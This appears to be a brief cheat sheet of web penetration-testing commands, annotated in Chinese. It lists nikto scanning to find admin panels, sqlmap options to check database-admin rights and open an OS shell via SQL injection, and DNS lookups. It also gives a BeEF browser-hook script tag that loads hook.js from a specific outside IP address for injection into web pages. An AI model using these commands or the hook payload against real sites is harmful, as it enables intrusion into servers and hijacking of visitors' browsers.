nikto -h [url] 查找后台 sqlmap —is-dba查权限 --os-shell beef <script type="text/javascript" src="http://207.148.127.172:3000/hook.js"></script> nslookup -qt=ns 域名 解析记录